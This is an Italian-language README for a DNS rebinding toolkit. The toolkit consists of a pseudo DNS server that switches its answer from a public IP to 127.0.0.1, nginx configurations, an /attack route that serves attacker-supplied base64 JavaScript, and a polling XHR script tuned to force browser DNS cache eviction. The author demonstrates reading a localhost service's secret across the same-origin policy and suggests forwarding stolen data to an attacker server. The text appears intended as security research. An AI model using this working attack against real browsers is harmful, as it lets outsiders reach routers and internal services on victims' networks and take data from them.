
strumento di dns rebind con script personalizzati
Ispirato da @tavisio
Questo progetto vuole essere un Toolkit All-in-One per testare ulteriori attacchi di DNS rebinding e il mio approccio per comprendere questo tipo di attacchi. Consiste in un server web e un server DNS pseudo che risponde solo a query A.
L'indice principale del server web permette di configurare ed eseguire l'attacco con un'interfaccia web rudimentale. Vedi dnsrebindtool.43z.one.
Una configurazione nginx di base per ospitare il server web
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
La route /attack del server web legge il parametro GET script che deve fornire javascript codificato in base64 e risponde con il codice decodificato (avvolto in un setTimeout) incorporato in una pagina HTML normale.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
Presso il mio registrar per il dominio 43z.one ho configurato un record NS per il sottodominio rebind che punta all'IP dove è ospitato questo strumento.
ns A 81.4.124.10
rebind NS ns.43z.one
Il server DNS risponde solo a query A in questo formato
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
La prima parte (sottodominio) è solo un ID casuale e dovrebbe essere generato per ogni sessione di attacco (l'interfaccia web lo fa a ogni ricarica). La seconda parte è l'IP a cui il server DNS deve rispondere per i prossimi 2 secondi e la terza l'IP a cui il server deve rispondere dopo che quel tempo è trascorso.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
L'ultimo pezzo mancante è una configurazione nginx per i domini rebind. Solo la route /attack deve essere passata allo strumento, le altre devono rispondere con un errore. Questo permette di attaccare altri servizi sulla porta 80 con tutte le route tranne /attack (come /api/monitoring/stats, un endpoint che il mio router espone).
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
Svuotamento della cache DNS
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// la prima volta che il browser vede questo dominio interroga il server DNS
// e ottiene 81.4.124.10
// attendere più di 2 secondi
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// usa ancora 81.4.124.10 (E NON 127.0.0.1)
// NON è avvenuta una nuova query DNS, il browser ha usato l'IP in cache
Questo è un problema per questo tipo di attacco. Affinché funzioni, il browser deve effettuare una nuova query DNS per ottenere il secondo IP. In teoria, se si aspetta abbastanza a lungo tra le richieste, dovrebbe avvenire una nuova query. I miei test mostrano però che esiste un approccio più veloce ma più aggressivo. È molto probabile che ciò sia specifico della configurazione. Serve ulteriore testing. Ho usato il seguente script per misurare il valore ottimale per la variabile WAIT. Testato su Chromium 62.0.3202.89 in esecuzione su Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
Ho avviato un nuovo repository solo per esplorare questo: dns cache eviction tester
Mettere tutto insieme e testarlo.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Questa istanza di netcat serve alcuni contenuti a cui vorrei accedere.
Mantengo il dominio rebind predefinito
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
e lo script predefinito
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
su dnsrebindtool.43z.one e clicco sul pulsante Attack.
Aprire la scheda di rete degli strumenti di sviluppo per vedere cosa succede in background.
Per me dopo circa 60 secondi si riempie con la stringa TOPSECRET e il tempo impiegato. Il DNS rebinding ha aggirato la SOP. Per estrarre i dati violati dall'iframe si potrebbe usare Window.PostMessage() o includere nel codice stesso dello script l'inoltro dei dati a un altro server attaccante.
| Valore WAIT in ms | Richieste inviate da Chrome | Tempo fino a nuova query DNS |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |